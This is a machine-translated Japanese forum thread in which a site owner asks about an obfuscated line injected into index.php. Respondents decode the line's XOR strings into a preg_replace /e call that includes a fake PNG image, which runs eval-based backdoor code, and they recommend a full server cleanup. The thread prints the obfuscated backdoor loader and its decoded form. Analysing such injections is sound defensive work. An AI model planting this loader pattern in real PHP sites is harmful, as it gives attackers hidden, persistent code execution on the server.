Index.phpファイルの最初の行が下に変更されていることに気づきました。
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>
これは私には非常に疑わしく見え、私は一般的に何を知っていますpreg_replace
します。ただし、件名、パターン、または置換文字列をデコードする方法がわかりません。
誰か教えてもらえますか
このコードは実際には何をしますか?
_<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
_
これに注意してくださいbase64エンコード最初のファイルで見つかった文字列:
_L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
_
その文字列をデコードするとき、それはこのファイルを指します:
_/home4/mitzvahc/public_html/assets/img/logo_small.png
_
kaygeは、ファイルが明らかにオンラインでアクセス可能であることを指摘しました。それで、私はあなたの「画像」をダウンロードしました、それは本当のハックが起こっているところです。最初のスクリプトは、その画像のコンテンツをロードしようとしています。
ふりイメージ内には、2つのeval()
ステートメントがあり、$GLOBALS[ooooOOOOo(0)]
をチェックするときに完全に任意のコードを実行できます。
これは、攻撃者がその変数を設定しようとした場合にのみ発生します。 eval()
が表示される99%の時間は、リモートコードの実行によってWebサーバー全体が危険にさらされていることを知っているだけです。ここではそれが何をしているかです:
_eval(gzuncompress(base64_decode("evil_payload")));
_
もちろん、あなたはすでに何らかの形のエクスプロイトによって危険にさらされていましたですが、これにより、攻撃者はWebサーバーに難読化されたバックドアを提供し、たとえ問題にパッチを適用して書き込みを許可したとしても、攻撃者は継続的にアクセスできます。そもそもファイル。
ロックされていると思われるPHPファイルがサーバー上で更新される可能性があるのはなぜですか?
これは広すぎて、すべてにアクセスできなければ答えることができません。 コンテンツ管理システムのインストールが不適切に強化されているか、Webスタックのどこかに脆弱性がある可能性があります。何が起こっているのかを考慮してあなたのウェブサイトにアクセスすることは気にしないので、CMSの一部である場合は、これらのリンクを確認できます。
CMSがリストにない場合は、CMSインストールの強化/セキュリティチェックリストを探します。 CMSを使用してnotではなく、独自のコードを使用している場合は、セキュリティホールを修正する必要があります。
これが発生する理由はいくつか考えられますが、最終的には、Webホストがハッキングされているか、悪意のある個人が追加のコードを挿入して完全に制御できるようにするWebサイトのエクスプロイトがあるあなたのウェブサイト...その間、訪問者を攻撃しています。
短い答えは次のとおりです:知らない人によってコードが追加された場合、それは悪意のあるものであり、実際に何をするかは関係ありません。
サーバーが危険にさらされており、完全なクリーンアップを実行する必要があります。
それがどのように追加されたかについては、サーバーを完全に調査しない限り、私たちが知る方法はありません。
PHPファイルが変更されたため、ハッキングattemptよりもはるかに多くのことが発生しました。).
マシンが危険にさらされています。
OSのクリーンインストールが必要です。また、開発(またはその他のバックアップ)からサイトコードをリロードします。
時間があって偏執的である場合は、データベースにエンドユーザーに解き放たれる可能性のあるXSS攻撃コードが含まれている可能性があることを検討する価値があります。
このコードは、バイナリとして2つの文字列に [〜#〜] xor [〜#〜] 演算子を使用して、次のコードを無効にしているようです:
<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
PHPサンドボックス でテストできます。上記で生成された大きな文字列は base64エンコード 文字列です:
/home4/mitzvahc/public_html/assets/img/logo_small.png
なぜpreg_replace
?コードの実行を許可する セキュリティの問題 があるようですが、それは単にコードの難読化のためである可能性があります。
この場合、はい、しかしすべての場合ではありません。この質問に出くわす人もいると思いますので、この回答はより幅広い読者を対象としています。
Webホストはいくつかのファンキーなことを行い、私はlotのWebホストを使用しました。あなたはあなたのウェブホストを呼び出す機会があり、彼らがそれと何か関係があるかどうかを決定する機会があるまで、ファイルを一時的に解決したいかもしれません。
PHPハッキングする方法はいくつかあります。たとえば、アカウントのパスの外にあるサーバー上のすべてにアクセスできる方法(例では共有ホスティング上)を含む方法があり、 yourアカウントがハッキングされてanotherアカウントのコードが確認される可能性があるため、共有ホスティングを回避できる別の理由です。
デフォルトでは、それは安全なファイルではないと想定し、Webホストで確認できるまで移動または名前を変更します。